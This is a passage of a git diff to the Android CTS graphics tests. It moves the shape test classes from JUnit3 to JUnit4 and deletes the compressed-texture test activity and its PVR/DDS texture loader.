+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
@@ -27,20 +30,27 @@
 import android.graphics.Rect;
 import android.graphics.RectF;
 import android.graphics.drawable.shapes.RectShape;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class RectShapeTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RectShapeTest {
     private static final int TEST_WIDTH  = 100;
     private static final int TEST_HEIGHT = 200;
 
     private static final int TEST_COLOR_1 = 0xFF00FF00;
     private static final int TEST_COLOR_2 = 0xFFFF0000;
 
+    @Test
     public void testConstructor() {
         new RectShape();
     }
 
-    private void assertDrawSuccessfully(Bitmap bitmap, int width, int height, int color) {
+    private void verifyDrawSuccessfully(Bitmap bitmap, int width, int height, int color) {
         for (int i = 0; i < width; i++) {
             for (int j = 0; j < height; j++) {
                 assertEquals(color, bitmap.getPixel(i, j));
@@ -48,7 +58,7 @@
         }
     }
 
-    @SmallTest
+    @Test
     public void testDraw() {
         RectShape rectShape = new RectShape();
         Bitmap bitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Config.ARGB_8888);
@@ -59,45 +69,45 @@
         rectShape.resize(TEST_WIDTH, TEST_HEIGHT);
 
         rectShape.draw(canvas, paint);
-        assertDrawSuccessfully(bitmap, TEST_WIDTH, TEST_HEIGHT, TEST_COLOR_1);
+        verifyDrawSuccessfully(bitmap, TEST_WIDTH, TEST_HEIGHT, TEST_COLOR_1);
 
         paint.setColor(TEST_COLOR_2);
         rectShape.draw(canvas, paint);
-        assertDrawSuccessfully(bitmap, TEST_WIDTH, TEST_HEIGHT, TEST_COLOR_2);
+        verifyDrawSuccessfully(bitmap, TEST_WIDTH, TEST_HEIGHT, TEST_COLOR_2);
     }
 
-    @SmallTest
+    @Test
     public void testClone() throws CloneNotSupportedException {
         RectShape rectShape = new RectShape();
         rectShape.resize(100f, 200f);
         RectShape clonedShape = rectShape.clone();
-        assertEquals(100f, rectShape.getWidth());
-        assertEquals(200f, rectShape.getHeight());
+        assertEquals(100f, rectShape.getWidth(), 0.0f);
+        assertEquals(200f, rectShape.getHeight(), 0.0f);
 
         assertNotSame(rectShape, clonedShape);
-        assertEquals(rectShape.getWidth(), clonedShape.getWidth());
-        assertEquals(rectShape.getHeight(), clonedShape.getHeight());
+        assertEquals(rectShape.getWidth(), clonedShape.getWidth(), 0.0f);
+        assertEquals(rectShape.getHeight(), clonedShape.getHeight(), 0.0f);
     }
 
-    @SmallTest
+    @Test
     public void testRect() {
         MyRectShape mockRectShape = new MyRectShape();
         RectShape rectShape = mockRectShape;
         RectF rect = mockRectShape.myRect();
-        assertEquals(0.0f, rect.left);
-        assertEquals(0.0f, rect.top);
-        assertEquals(0.0f, rect.right);
-        assertEquals(0.0f, rect.bottom);
+        assertEquals(0.0f, rect.left, 0.0f);
+        assertEquals(0.0f, rect.top, 0.0f);
+        assertEquals(0.0f, rect.right, 0.0f);
+        assertEquals(0.0f, rect.bottom, 0.0f);
 
         rectShape.resize(TEST_WIDTH, TEST_HEIGHT);
         rect = mockRectShape.myRect();
-        assertEquals(0.0f, rect.left);
-        assertEquals(0.0f, rect.top);
-        assertEquals((float) TEST_WIDTH, rect.right);
-        assertEquals((float) TEST_HEIGHT, rect.bottom);
+        assertEquals(0.0f, rect.left, 0.0f);
+        assertEquals(0.0f, rect.top, 0.0f);
+        assertEquals((float) TEST_WIDTH, rect.right, 0.0f);
+        assertEquals((float) TEST_HEIGHT, rect.bottom, 0.0f);
     }
 
-    @SmallTest
+    @Test
     public void testGetOutline() {
         Outline outline = new Outline();
         Rect rect = new Rect();
@@ -113,7 +123,7 @@
         shape.resize(100, 100);
         shape.getOutline(outline);
         assertFalse(outline.isEmpty());
-        assertEquals(0.0f, outline.getRadius());
+        assertEquals(0.0f, outline.getRadius(), 0.0f);
         assertTrue(outline.getRect(rect));
         assertEquals(0, rect.left);
         assertEquals(0, rect.top);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RoundRectShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RoundRectShapeTest.java
index 5209535..0db0f5d 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RoundRectShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/RoundRectShapeTest.java
@@ -16,7 +16,10 @@
 
 package android.graphics.drawable.shapes.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
@@ -27,15 +30,22 @@
 import android.graphics.Rect;
 import android.graphics.RectF;
 import android.graphics.drawable.shapes.RoundRectShape;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class RoundRectShapeTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RoundRectShapeTest {
     private static final int TEST_WIDTH  = 100;
     private static final int TEST_HEIGHT = 200;
 
     private static final int TEST_COLOR_1 = 0xFF00FF00;
     private static final int TEST_COLOR_2 = 0xFFFF0000;
 
+    @Test
     public void testConstructor() {
         new RoundRectShape(new float[8], new RectF(), new float[8]);
 
@@ -45,21 +55,21 @@
 
         new RoundRectShape(new float[8], new RectF(), null);
 
-        try {
-            new RoundRectShape(new float[7], new RectF(), new float[8]);
-            fail("Should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-        }
-
         new RoundRectShape(null, new RectF(), new float[8]);
-
-        try {
-            new RoundRectShape(new float[8], new RectF(), new float[7]);
-            fail("Should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-        }
     }
 
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testConstructorTooFewOuterRadii() {
+        new RoundRectShape(new float[7], new RectF(), new float[8]);
+    }
+
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testConstructorTooFewInnerRadii() {
+        new RoundRectShape(new float[8], new RectF(), new float[7]);
+    }
+
+    @Test
     public void testDraw() {
         float[] outerR = new float[] { 12, 12, 0, 0, 0, 0, 0, 0 };
         RectF   inset = new RectF(6, 6, 6, 6);
@@ -82,19 +92,20 @@
         assertEquals(TEST_COLOR_2, bitmap.getPixel(TEST_WIDTH / 2, 0));
     }
 
+    @Test
     public void testClone() throws CloneNotSupportedException {
         RoundRectShape roundRectShape = new RoundRectShape(new float[8], new RectF(), new float[8]);
         roundRectShape.resize(100f, 200f);
         RoundRectShape clonedShape = roundRectShape.clone();
-        assertEquals(100f, roundRectShape.getWidth());
-        assertEquals(200f, roundRectShape.getHeight());
+        assertEquals(100f, roundRectShape.getWidth(), 0.0f);
+        assertEquals(200f, roundRectShape.getHeight(), 0.0f);
 
         assertNotSame(roundRectShape, clonedShape);
-        assertEquals(roundRectShape.getWidth(), clonedShape.getWidth());
-        assertEquals(roundRectShape.getHeight(), clonedShape.getHeight());
+        assertEquals(roundRectShape.getWidth(), clonedShape.getWidth(), 0.0f);
+        assertEquals(roundRectShape.getHeight(), clonedShape.getHeight(), 0.0f);
     }
 
-    @SmallTest
+    @Test
     public void testGetOutline() {
         Outline outline = new Outline();
         Rect rect = new Rect();
@@ -110,7 +121,7 @@
         shape.resize(100, 100);
         shape.getOutline(outline);
         assertFalse(outline.isEmpty());
-        assertEquals(0.0f, outline.getRadius());
+        assertEquals(0.0f, outline.getRadius(), 0.0f);
         assertTrue(outline.getRect(rect));
         assertEquals(0, rect.left);
         assertEquals(0, rect.top);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ShapeTest.java b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ShapeTest.java
index 7f0e1e0..d5d16c3 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ShapeTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/shapes/cts/ShapeTest.java
@@ -16,7 +16,10 @@
 
 package android.graphics.drawable.shapes.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
@@ -25,39 +28,45 @@
 import android.graphics.Paint;
 import android.graphics.Paint.Style;
 import android.graphics.drawable.shapes.Shape;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class ShapeTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ShapeTest {
     private static final int TEST_WIDTH  = 100;
     private static final int TEST_HEIGHT = 200;
 
     private static final int TEST_COLOR_1 = 0xFF00FF00;
     private static final int TEST_COLOR_2 = 0xFFFF0000;
 
-    @SmallTest
+    @Test
     public void testSize() {
         MockShape mockShape = new MockShape();
         assertFalse(mockShape.hasCalledOnResize());
 
         mockShape.resize(200f, 300f);
-        assertEquals(200f, mockShape.getWidth());
-        assertEquals(300f, mockShape.getHeight());
+        assertEquals(200f, mockShape.getWidth(), 0.0f);
+        assertEquals(300f, mockShape.getHeight(), 0.0f);
         assertTrue(mockShape.hasCalledOnResize());
 
         mockShape.resize(0f, 0f);
-        assertEquals(0f, mockShape.getWidth());
-        assertEquals(0f, mockShape.getHeight());
+        assertEquals(0f, mockShape.getWidth(), 0.0f);
+        assertEquals(0f, mockShape.getHeight(), 0.0f);
 
         mockShape.resize(Float.MAX_VALUE, Float.MAX_VALUE);
-        assertEquals(Float.MAX_VALUE, mockShape.getWidth());
-        assertEquals(Float.MAX_VALUE, mockShape.getHeight());
+        assertEquals(Float.MAX_VALUE, mockShape.getWidth(), 0.0f);
+        assertEquals(Float.MAX_VALUE, mockShape.getHeight(), 0.0f);
 
         mockShape.resize(-1, -1);
-        assertEquals(0f, mockShape.getWidth());
-        assertEquals(0f, mockShape.getHeight());
+        assertEquals(0f, mockShape.getWidth(), 0.0f);
+        assertEquals(0f, mockShape.getHeight(), 0.0f);
     }
 
-    @SmallTest
+    @Test
     public void testOnResize() {
         MockShape mockShape = new MockShape();
         assertFalse(mockShape.hasCalledOnResize());
@@ -76,26 +85,26 @@
         assertTrue(mockShape.hasCalledOnResize());
     }
 
-    @SmallTest
+    @Test
     public void testClone() throws CloneNotSupportedException {
         Shape shape = new MockShape();
         shape.resize(100f, 200f);
         Shape clonedShape = shape.clone();
-        assertEquals(100f, shape.getWidth());
-        assertEquals(200f, shape.getHeight());
+        assertEquals(100f, shape.getWidth(), 0.0f);
+        assertEquals(200f, shape.getHeight(), 0.0f);
 
         assertNotSame(shape, clonedShape);
-        assertEquals(shape.getWidth(), clonedShape.getWidth());
-        assertEquals(shape.getHeight(), clonedShape.getHeight());
+        assertEquals(shape.getWidth(), clonedShape.getWidth(), 0.0f);
+        assertEquals(shape.getHeight(), clonedShape.getHeight(), 0.0f);
     }
 
-    @SmallTest
+    @Test
     public void testHasAlpha() {
         Shape shape = new MockShape();
         assertTrue(shape.hasAlpha());
     }
 
-    @SmallTest
+    @Test
     public void testDraw() {
         Shape shape = new MockShape();
         Bitmap bitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Config.ARGB_8888);
@@ -113,7 +122,7 @@
         assertEquals(0, bitmap.getPixel(0, 0));
     }
 
-    @SmallTest
+    @Test
     public void testGetOutline() {
         Shape shape = new MockShape();
         Outline outline = new Outline();
diff --git a/tests/tests/graphics/src/android/opengl/cts/CompressedTextureCtsActivity.java b/tests/tests/graphics/src/android/opengl/cts/CompressedTextureCtsActivity.java
deleted file mode 100644
index bade5a8..0000000
--- a/tests/tests/graphics/src/android/opengl/cts/CompressedTextureCtsActivity.java
+++ /dev/null
@@ -1,79 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.opengl.cts;
-
-import android.graphics.cts.R;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.content.res.AssetFileDescriptor;
-import android.content.res.Resources;
-import android.graphics.Bitmap;
-import android.graphics.Bitmap.Config;
-import android.graphics.BitmapFactory;
-import android.os.Bundle;
-import android.util.Log;
-
-public class CompressedTextureCtsActivity extends Activity {
-
-    private static final String TAG = "CompressedTextureCtsActivity";
-
-    protected Resources mResources;
-
-    private CompressedTextureSurfaceView mCompressedTextureView = null;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        Bundle extras = getIntent().getExtras();
-        String formatTest = extras.getString("TextureFormat", null);
-
-        Log.i(TAG, "Testing format " + formatTest);
-
-        mResources = getResources();
-
-        CompressedTextureLoader.Texture compressed = null;
-
-        BitmapFactory.Options optionsRGB = new BitmapFactory.Options();
-        optionsRGB.inPreferredConfig = Bitmap.Config.RGB_565;
-        optionsRGB.inScaled = false;
-        Bitmap bitmap = BitmapFactory.decodeResource(mResources, R.raw.basetex, optionsRGB);
-
-        if (formatTest.equals(CompressedTextureLoader.TEXTURE_ETC1)) {
-            compressed = CompressedTextureLoader.createFromUncompressedETC1(bitmap);
-        } else if (formatTest.equals(CompressedTextureLoader.TEXTURE_S3TC)) {
-            compressed = CompressedTextureLoader.loadTextureDXT(mResources, R.raw.ddstex);
-        } else if (formatTest.equals(CompressedTextureLoader.TEXTURE_ATC)) {
-            compressed = CompressedTextureLoader.loadTextureATC(mResources, 0); //cts for now
-        } else if (formatTest.equals(CompressedTextureLoader.TEXTURE_PVRTC)) {
-            compressed = CompressedTextureLoader.loadTexturePVRTC(mResources, R.raw.pvrtex);
-        }
-
-        mCompressedTextureView = new CompressedTextureSurfaceView(this, bitmap, compressed);
-        setContentView(mCompressedTextureView);
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        mCompressedTextureView.onResume();
-    }
-
-    public boolean getPassed() throws InterruptedException {
-        return mCompressedTextureView.getTestPassed();
-    }
-}
diff --git a/tests/tests/graphics/src/android/opengl/cts/CompressedTextureLoader.java b/tests/tests/graphics/src/android/opengl/cts/CompressedTextureLoader.java
deleted file mode 100644
index 3a2e00f..0000000
--- a/tests/tests/graphics/src/android/opengl/cts/CompressedTextureLoader.java
+++ /dev/null
@@ -1,485 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.opengl.cts;
-
-import java.io.InputStream;
-import java.nio.ByteBuffer;
-import java.nio.Buffer;
-import java.nio.ByteOrder;
-import java.util.HashMap;
-
-import android.graphics.cts.R;
-
-import android.app.Activity;
-import android.content.res.AssetFileDescriptor;
-import android.content.res.Resources;
-import android.os.Bundle;
-import android.util.Log;
-
-import android.opengl.ETC1;
-import android.opengl.ETC1Util;
-import android.opengl.GLES20;
-
-import android.graphics.Bitmap;
-import android.graphics.Bitmap.Config;
-import android.graphics.BitmapFactory;
-
-public class CompressedTextureLoader {
-    private static final String TAG = "CompressedTextureLoader";
-
-    public static final String TEXTURE_UNCOMPRESSED = "UNCOMPRESSED";
-    public static final String TEXTURE_ETC1 = "ETC1";
-    public static final String TEXTURE_S3TC = "S3TC";
-    public static final String TEXTURE_ATC = "ATC";
-    public static final String TEXTURE_PVRTC = "PVRTC";
-
-    public static class Texture {
-        public Texture(int width, int height, int internalformat, ByteBuffer data,
-                       String formatName) {
-            mWidth = width;
-            mHeight = height;
-            mInternalFormat = internalformat;
-            mData = data;
-            mFormatName = formatName;
-        }
-
-        /**
-         * Get the width of the texture in pixels.
-         * @return the width of the texture in pixels.
-         */
-        public int getWidth() { return mWidth; }
-
-        /**
-         * Get the height of the texture in pixels.
-         * @return the width of the texture in pixels.
-         */
-        public int getHeight() { return mHeight; }
-
-        /**
-         * Get the compressed data of the texture.
-         * @return the texture data.
-         */
-        public ByteBuffer getData() { return mData; }
-
-        /**
-         * Get the format of the texture.
-         * @return the internal format.
-         */
-        public int getFormat() { return mInternalFormat; }
-
-        /**
-         * Get the format of the texture.
-         * @return the internal format.
-         */
-        public boolean isSupported() { return isFormatSupported(mFormatName); }
-
-        private int mWidth;
-        private int mHeight;
-        private int mInternalFormat;
-        private ByteBuffer mData;
-        private String mFormatName;
-    }
-
-    /*  .pvr header is described by the following c struct
-        typedef struct PVR_TEXTURE_HEADER_TAG{
-            unsigned int  dwHeaderSize;   // size of the structure
-            unsigned int  dwHeight;    // height of surface to be created
-            unsigned int  dwWidth;    // width of input surface
-            unsigned int  dwMipMapCount;   // number of MIP-map levels requested
-            unsigned int  dwpfFlags;   // pixel format flags
-            unsigned int  dwDataSize;   // Size of the compress data
-            unsigned int  dwBitCount;   // number of bits per pixel
-            unsigned int  dwRBitMask;   // mask for red bit
-            unsigned int  dwGBitMask;   // mask for green bits
-            unsigned int  dwBBitMask;   // mask for blue bits
-            unsigned int  dwAlphaBitMask;   // mask for alpha channel
-            unsigned int  dwPVR;    // should be 'P' 'V' 'R' '!'
-            unsigned int  dwNumSurfs;   //number of slices for volume textures or skyboxes
-        } PVR_TEXTURE_HEADER;
-    */
-    static final int PVR_HEADER_SIZE = 13 * 4;
-    static final int PVR_2BPP = 24;
-    static final int PVR_4BPP = 25;
-    static final int PVR_MAGIC_NUMBER = 559044176;
-
-    static final int GL_COMPRESSED_RGB_PVRTC_4BPPV1_IMG = 0x8C00;
-    static final int GL_COMPRESSED_RGB_PVRTC_2BPPV1_IMG = 0x8C01;
-    static final int GL_COMPRESSED_RGBA_PVRTC_4BPPV1_IMG = 0x8C02;
-    static final int GL_COMPRESSED_RGBA_PVRTC_2BPPV1_IMG = 0x8C03;
-
-    static class PVRHeader {
-        int mHeaderSize;   // size of the structure
-        int mHeight;    // height of surface to be created
-        int mWidth;    // width of input surface
-        int mMipMapCount;   // number of MIP-map levels requested
-        int mpfFlags;   // pixel format flags
-        int mDataSize;   // Size of the compress data
-        int mBitCount;   // number of bits per pixel
-        int mRBitMask;   // mask for red bit
-        int mGBitMask;   // mask for green bits
-        int mBBitMask;   // mask for blue bits
-        int mAlphaBitMask;   // mask for alpha channel
-        int mPVR;    // should be 'P' 'V' 'R' '!'
-        int mNumSurfs;   //number of slices for volume textures or skyboxes
-    }
-
-    protected static PVRHeader readPVRHeader(InputStream is) {
-
-        byte[] headerData = new byte[PVR_HEADER_SIZE];
-        try {
-            is.read(headerData);
-        } catch (Exception e) {
-            throw new RuntimeException("Unable to read data");
-        }
-
-        ByteBuffer headerBuffer = ByteBuffer.allocateDirect(PVR_HEADER_SIZE)
-                .order(ByteOrder.nativeOrder());
-        headerBuffer.put(headerData, 0, PVR_HEADER_SIZE).position(0);
-
-        PVRHeader header = new PVRHeader();
-
-        header.mHeaderSize = headerBuffer.getInt();
-        header.mHeight = headerBuffer.getInt();
-        header.mWidth = headerBuffer.getInt();
-        header.mMipMapCount = headerBuffer.getInt();
-        header.mpfFlags = headerBuffer.getInt();
-        header.mDataSize = headerBuffer.getInt();
-        header.mBitCount = headerBuffer.getInt();
-        header.mRBitMask = headerBuffer.getInt();
-        header.mGBitMask = headerBuffer.getInt();
-        header.mBBitMask = headerBuffer.getInt();
-        header.mAlphaBitMask = headerBuffer.getInt();
-        header.mPVR = headerBuffer.getInt();
-        header.mNumSurfs = headerBuffer.getInt();
-
-        if (header.mHeaderSize != PVR_HEADER_SIZE ||
-            header.mPVR != PVR_MAGIC_NUMBER) {
-            throw new RuntimeException("Invalid header data");
-        }
-
-        return header;
-    }
-
-    public static Texture loadTextureATC(Resources res, int id) {
-        Texture tex = new Texture(0, 0, 0, null, "Cts!");
-        return tex;
-    }
-
-    private static ETC1Util.ETC1Texture compressTexture(Buffer input,
-                                                        int width, int height,
-                                                        int pixelSize, int stride){
-        int encodedImageSize = ETC1.getEncodedDataSize(width, height);
-        ByteBuffer compressedImage = ByteBuffer.allocateDirect(encodedImageSize).
-            order(ByteOrder.nativeOrder());
-        ETC1.encodeImage(input, width, height, pixelSize, stride, compressedImage);
-        return new ETC1Util.ETC1Texture(width, height, compressedImage);
-    }
-
-    public static Texture createFromUncompressedETC1(Bitmap bitmap) {
-        int dataSize = bitmap.getRowBytes() * bitmap.getHeight();
-
-        ByteBuffer dataBuffer;
-        dataBuffer = ByteBuffer.allocateDirect(dataSize).order(ByteOrder.nativeOrder());
-        bitmap.copyPixelsToBuffer(dataBuffer);
-        dataBuffer.position(0);
-
-        int bytesPerPixel = bitmap.getRowBytes() / bitmap.getWidth();
-        ETC1Util.ETC1Texture compressed = compressTexture(dataBuffer,
-                                                          bitmap.getWidth(),
-                                                          bitmap.getHeight(),
-                                                          bytesPerPixel,
-                                                          bitmap.getRowBytes());
-
-        Texture tex = new Texture(compressed.getWidth(), compressed.getHeight(),
-                                  ETC1.ETC1_RGB8_OES, compressed.getData(), TEXTURE_ETC1);
-
-        return tex;
-    }
-
-    private static ByteBuffer read(InputStream is, int dataSize) {
-        ByteBuffer dataBuffer;
-        dataBuffer = ByteBuffer.allocateDirect(dataSize).order(ByteOrder.nativeOrder());
-        byte[] ioBuffer = new byte[4096];
-        for (int i = 0; i < dataSize; ) {
-            int chunkSize = Math.min(ioBuffer.length, dataSize - i);
-            try {
-                is.read(ioBuffer, 0, chunkSize);
-            } catch (Exception e) {
-                throw new RuntimeException("Unable to read data");
-            }
-            dataBuffer.put(ioBuffer, 0, chunkSize);
-            i += chunkSize;
-        }
-        dataBuffer.position(0);
-        return dataBuffer;
-    }
-
-    public static Texture loadTexturePVRTC(Resources res, int id) {
-        InputStream is = null;
-        try {
-            is = res.openRawResource(id);
-        } catch (Exception e) {
-            throw new RuntimeException("Unable to open resource " + id);
-        }
-
-        PVRHeader header = readPVRHeader(is);
-
-        int format = header.mpfFlags & 0xFF;
-        int internalFormat = 0;
-        if (format == PVR_2BPP && header.mAlphaBitMask == 1) {
-            internalFormat = GL_COMPRESSED_RGBA_PVRTC_2BPPV1_IMG;
-        } else if (format == PVR_2BPP && header.mAlphaBitMask == 0) {
-            internalFormat = GL_COMPRESSED_RGB_PVRTC_2BPPV1_IMG;
-        } else if (format == PVR_4BPP && header.mAlphaBitMask == 1) {
-            internalFormat = GL_COMPRESSED_RGBA_PVRTC_4BPPV1_IMG;
-        } else if (format == PVR_4BPP && header.mAlphaBitMask == 0) {
-            internalFormat = GL_COMPRESSED_RGB_PVRTC_4BPPV1_IMG;
-        }
-
-        // only load the first mip level for now
-        int dataSize = (header.mWidth * header.mHeight * header.mBitCount) >> 3;
-        ByteBuffer dataBuffer = read(is, dataSize);
-        Texture tex = new Texture(header.mWidth, header.mHeight,
-                                  internalFormat, dataBuffer,
-                                  TEXTURE_PVRTC);
-        try {
-            is.close();
-        } catch (Exception e) {
-            throw new RuntimeException("Unable to close resource stream " + id);
-        }
-        return tex;
-    }
-
-    /* DDS Header is described by the following structs
-       typedef struct {
-          DWORD           dwSize;
-          DWORD           dwFlags;
-          DWORD           dwHeight;
-          DWORD           dwWidth;
-          DWORD           dwPitchOrLinearSize;
-          DWORD           dwDepth;
-          DWORD           dwMipMapCount;
-          DWORD           dwReserved1[11];
-          DDS_PIXELFORMAT ddspf;
-          DWORD           dwCaps;
-          DWORD           dwCaps2;
-          DWORD           dwCaps3;
-          DWORD           dwCaps4;
-          DWORD           dwReserved2;
-        } DDS_HEADER;
-
-        struct DDS_PIXELFORMAT {
-          DWORD dwSize;
-          DWORD dwFlags;
-          DWORD dwFourCC;
-          DWORD dwRGBBitCount;
-          DWORD dwRBitMask;
-          DWORD dwGBitMask;
-          DWORD dwBBitMask;
-          DWORD dwABitMask;
-        };
-
-        In the file it looks like this
-        DWORD               dwMagic;
-        DDS_HEADER          header;
-        DDS_HEADER_DXT10    header10; // If the DDS_PIXELFORMAT dwFlags is set to DDPF_FOURCC
-                                      // and dwFourCC is DX10
-
-    */
-
-    static final int DDS_HEADER_STRUCT_SIZE = 124;
-    static final int DDS_PIXELFORMAT_STRUCT_SIZE = 32;
-    static final int DDS_HEADER_SIZE = 128;
-    static final int DDS_MAGIC_NUMBER = 0x20534444;
-    static final int DDS_DDPF_FOURCC = 0x4;
-    static final int DDS_DXT1 = 0x31545844;
-    static final int DDS_DXT5 = 0x35545844;
-
-    static final int COMPRESSED_RGB_S3TC_DXT1_EXT = 0x83F0;
-    static final int COMPRESSED_RGBA_S3TC_DXT1_EXT = 0x83F1;
-    static final int COMPRESSED_RGBA_S3TC_DXT5_EXT = 0x83F3;
-
-    static class DDSHeader {
-        int mMagic;
-        int mSize;
-        int mFlags;
-        int mHeight;
-        int mWidth;
-        int mPitchOrLinearSize;
-        int mDepth;
-        int mMipMapCount;
-        int[] mReserved1;
-        // struct DDS_PIXELFORMAT {
-            int mPixelFormatSize;
-            int mPixelFormatFlags;
-            int mPixelFormatFourCC;
-            int mPixelFormatRGBBitCount;
-            int mPixelFormatRBitMask;
-            int mPixelFormatGBitMask;
-            int mPixelFormatBBitMask;
-            int mPixelFormatABitMask;
-        // };
-        int mCaps;
-        int mCaps2;
-        int mCaps3;
-        int mCaps4;
-        int mReserved2;
-
-        DDSHeader() {
-            mReserved1 = new int[11];
-        }
-    }
-
-    protected static DDSHeader readDDSHeader(InputStream is) {
-
-        byte[] headerData = new byte[DDS_HEADER_SIZE];
-        try {
-            is.read(headerData);
-        } catch (Exception e) {
-            throw new RuntimeException("Unable to read data");
-        }
-
-        ByteBuffer headerBuffer = ByteBuffer.allocateDirect(DDS_HEADER_SIZE)
-                .order(ByteOrder.nativeOrder());
-        headerBuffer.put(headerData, 0, DDS_HEADER_SIZE).position(0);
-
-        DDSHeader header = new DDSHeader();
-
-        header.mMagic = headerBuffer.getInt();
-        header.mSize = headerBuffer.getInt();
-        header.mFlags = headerBuffer.getInt();
-        header.mHeight = headerBuffer.getInt();
-        header.mWidth = headerBuffer.getInt();
-        header.mPitchOrLinearSize = headerBuffer.getInt();
-        header.mDepth = headerBuffer.getInt();
-        header.mMipMapCount = headerBuffer.getInt();
-        for (int i = 0; i < header.mReserved1.length; i ++) {
-            header.mReserved1[i] = headerBuffer.getInt();
-        }
-        // struct DDS_PIXELFORMAT {
-            header.mPixelFormatSize = headerBuffer.getInt();
-            header.mPixelFormatFlags = headerBuffer.getInt();
-            header.mPixelFormatFourCC = headerBuffer.getInt();
-            header.mPixelFormatRGBBitCount = headerBuffer.getInt();
-            header.mPixelFormatRBitMask = headerBuffer.getInt();
-            header.mPixelFormatGBitMask = headerBuffer.getInt();
-            header.mPixelFormatBBitMask = headerBuffer.getInt();
-            header.mPixelFormatABitMask = headerBuffer.getInt();
-        // };
-        header.mCaps = headerBuffer.getInt();
-        header.mCaps2 = headerBuffer.getInt();
-        header.mCaps3 = headerBuffer.getInt();
-        header.mCaps4 = headerBuffer.getInt();
-        header.mReserved2 = headerBuffer.getInt();
-
-        if (header.mSize != DDS_HEADER_STRUCT_SIZE ||
-            header.mPixelFormatSize != DDS_PIXELFORMAT_STRUCT_SIZE ||
-            header.mMagic != DDS_MAGIC_NUMBER) {
-            throw new RuntimeException("Invalid header data");
-        }
-
-        return header;
-    }
-
-    // Very simple loader that only reads in the header and a DXT1 mip level 0
-    public static Texture loadTextureDXT(Resources res, int id) {
-        InputStream is = null;
-        try {
-            is = res.openRawResource(id);
-        } catch (Exception e) {
-            throw new RuntimeException("Unable to open resource " + id);
-        }
-
-        DDSHeader header = readDDSHeader(is);
-
-        if (header.mPixelFormatFlags != DDS_DDPF_FOURCC) {
-            throw new RuntimeException("Unsupported DXT data");
-        }
-
-        int internalFormat = 0;
-        int bpp = 0;
-        switch (header.mPixelFormatFourCC) {
-        case DDS_DXT1:
-            internalFormat = COMPRESSED_RGB_S3TC_DXT1_EXT;
-            bpp = 4;
-            break;
-        case DDS_DXT5:
-            internalFormat = COMPRESSED_RGBA_S3TC_DXT5_EXT;
-            bpp = 8;
-            break;
-        default:
-            throw new RuntimeException("Unsupported DXT data");
-        }
-
-        // only load the first mip level for now
-        int dataSize = (header.mWidth * header.mHeight * bpp) >> 3;
-        if (dataSize != header.mPitchOrLinearSize) {
-            throw new RuntimeException("Expected data and header mismatch");
-        }
-        ByteBuffer dataBuffer = read(is, dataSize);
-
-        Texture tex = new Texture(header.mWidth, header.mHeight, internalFormat,
-                                  dataBuffer, TEXTURE_S3TC);
-        return tex;
-    }
-
-    static HashMap<String, Boolean> sExtensionMap;
-    static HashMap<String, Boolean> sFormatMap;
-
-    private static synchronized void updateSupportedFormats() {
-        if (sExtensionMap != null) {
-            return;
-        }
-
-        sExtensionMap = new HashMap<String, Boolean>();
-        sFormatMap = new HashMap<String, Boolean>();
